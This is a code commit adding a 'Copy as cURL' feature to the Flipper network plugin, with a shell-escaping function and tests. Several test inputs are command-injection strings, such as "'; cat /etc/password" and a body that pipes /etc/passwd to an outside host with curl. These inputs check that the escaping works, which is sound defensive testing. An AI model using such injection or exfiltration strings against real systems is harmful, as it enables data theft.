Add copy as cURL for network requests (#415)

Summary:
Pull Request resolved: https://github.com/facebook/flipper/pull/415

This diff adds a context menu item for network request rows that allows the user to copy the request as a curl command. The logic for the command generation was inspired by [`FLEXNetworkCurlLogger`](https://github.com/Flipboard/FLEX/blob/master/Classes/Network/FLEXNetworkCurlLogger.m)

Resolves #406

Reviewed By: passy

Differential Revision: D14973754

fbshipit-source-id: a57c31190d7615ca5377308e0bfad521b645b2e4
This commit is contained in:
Benny Wong
2019-04-23 07:00:02 -07:00
committed by Facebook Github Bot
parent 01e4d694b5
commit d9d1346c12
3 changed files with 231 additions and 11 deletions

View File

@@ -0,0 +1,145 @@
/**
* Copyright 2018-present Facebook.
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
* @format
*/
import {convertRequestToCurlCommand} from '../utils.js';
import type {Request} from '../types.js';
test('convertRequestToCurlCommand: simple GET', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: null,
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
});
test('convertRequestToCurlCommand: simple POST', () => {
const request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=data&other=param'),
};
const command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
);
});
test('convertRequestToCurlCommand: malicious POST data', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
);
request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=!!'),
};
command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
);
});
test('convertRequestToCurlCommand: control characters', () => {
let request: Request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
};
let command = convertRequestToCurlCommand(request);
expect(command).toEqual(
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
);
});

View File

@@ -22,8 +22,9 @@ import {
FlipperPlugin, FlipperPlugin,
} from 'flipper'; } from 'flipper';
import type {Request, RequestId, Response} from './types.js'; import type {Request, RequestId, Response} from './types.js';
import {getHeaderValue} from './utils.js'; import {convertRequestToCurlCommand, getHeaderValue} from './utils.js';
import RequestDetails from './RequestDetails.js'; import RequestDetails from './RequestDetails.js';
import {clipboard} from 'electron';
import {URL} from 'url'; import {URL} from 'url';
import type {Notification} from '../../plugin'; import type {Notification} from '../../plugin';
@@ -160,6 +161,19 @@ export default class extends FlipperPlugin<State, *, PersistedState> {
onRowHighlighted = (selectedIds: Array<RequestId>) => onRowHighlighted = (selectedIds: Array<RequestId>) =>
this.setState({selectedIds}); this.setState({selectedIds});
copyRequestCurlCommand = () => {
const {requests} = this.props.persistedState;
const {selectedIds} = this.state;
// Ensure there is only one row highlighted.
if (selectedIds.length !== 1) {
return;
}
const request = requests[selectedIds[0]];
const command = convertRequestToCurlCommand(request);
clipboard.writeText(command);
};
clearLogs = () => { clearLogs = () => {
this.setState({selectedIds: []}); this.setState({selectedIds: []});
this.props.setPersistedState({responses: {}, requests: {}}); this.props.setPersistedState({responses: {}, requests: {}});
@@ -188,6 +202,7 @@ export default class extends FlipperPlugin<State, *, PersistedState> {
requests={requests || {}} requests={requests || {}}
responses={responses || {}} responses={responses || {}}
clear={this.clearLogs} clear={this.clearLogs}
copyRequestCurlCommand={this.copyRequestCurlCommand}
onRowHighlighted={this.onRowHighlighted} onRowHighlighted={this.onRowHighlighted}
highlightedRows={ highlightedRows={
this.state.selectedIds ? new Set(this.state.selectedIds) : null this.state.selectedIds ? new Set(this.state.selectedIds) : null
@@ -203,6 +218,7 @@ type NetworkTableProps = {
requests: {[id: RequestId]: Request}, requests: {[id: RequestId]: Request},
responses: {[id: RequestId]: Response}, responses: {[id: RequestId]: Response},
clear: () => void, clear: () => void,
copyRequestCurlCommand: () => void,
onRowHighlighted: (keys: TableHighlightedRows) => void, onRowHighlighted: (keys: TableHighlightedRows) => void,
highlightedRows: ?Set<string>, highlightedRows: ?Set<string>,
}; };
@@ -349,19 +365,35 @@ class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
this.setState(calculateState(this.props, nextProps, this.state.sortedRows)); this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
} }
contextMenuItems = [ contextMenuItems() {
const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
const highlightedMenuItems =
highlightedRows && highlightedRows.size === 1
? [
{
type: 'separator',
},
{
label: 'Copy as cURL',
click: copyRequestCurlCommand,
},
]
: [];
return highlightedMenuItems.concat([
{ {
type: 'separator', type: 'separator',
}, },
{ {
label: 'Clear all', label: 'Clear all',
click: this.props.clear, click: clear,
}, },
]; ]);
}
render() { render() {
return ( return (
<NetworkTable.ContextMenu items={this.contextMenuItems}> <NetworkTable.ContextMenu items={this.contextMenuItems()}>
<SearchableTable <SearchableTable
virtual={true} virtual={true}
multiline={false} multiline={false}

View File

@@ -59,3 +59,46 @@ function decompress(body: string): string {
return String.fromCharCode.apply(null, new Uint8Array(data)); return String.fromCharCode.apply(null, new Uint8Array(data));
} }
export function convertRequestToCurlCommand(request: Request): string {
let command: string = `curl -v -X ${request.method}`;
command += ` ${escapedString(request.url)}`;
// Add headers
request.headers.forEach(header => {
const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`;
});
// Add body
const body = decodeBody(request);
if (body) {
command += ` -d ${escapedString(body)}`;
}
return command;
}
function escapeCharacter(x) {
const code = x.charCodeAt(0);
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
}
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
// Escape util function, inspired by Google DevTools. Works only for POSIX
// based systems.
function escapedString(str) {
if (needsEscapingRegex.test(str) || str.includes("'")) {
return (
"$'" +
str
.replace(/\\/g, '\\\\')
.replace(/\'/g, "\\'")
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(needsEscapingRegex, escapeCharacter) +
"'"
);
}
// Simply use singly quoted string.
return "'" + str + "'";
}